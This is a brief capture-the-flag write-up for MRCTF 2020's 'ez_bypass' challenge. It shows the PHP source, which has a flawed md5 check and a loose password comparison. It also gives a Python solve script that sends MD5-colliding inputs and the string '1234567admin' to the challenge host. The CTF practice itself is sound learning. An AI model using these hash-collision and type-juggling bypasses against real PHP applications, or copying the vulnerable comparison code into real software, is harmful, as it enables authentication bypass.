2020-MRCTF

ez_bypass

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

哈希碰撞，弱类型

import requests
from urllib.parse import quote
url='http://3b2f75e7-7fba-46c4-a68d-9eca2f54fa30.merak-ctf.site/'
with open(r'C:\Users\dell\Desktop\md5碰撞\out_test_001.txt','rb') as f:
    data1=f.read()
    data1=quote(data1,'utf-8')
with open(r'C:\Users\dell\Desktop\md5碰撞\out_test_000.txt','rb') as f:
    data2 = f.read()
    data2=quote(data2,'utf-8')
get='?id='+data1+'&gg='+data2
data={'passwd':'1234567admin'}
r = requests.post(url+get,data=data)
print(r.text)

你传你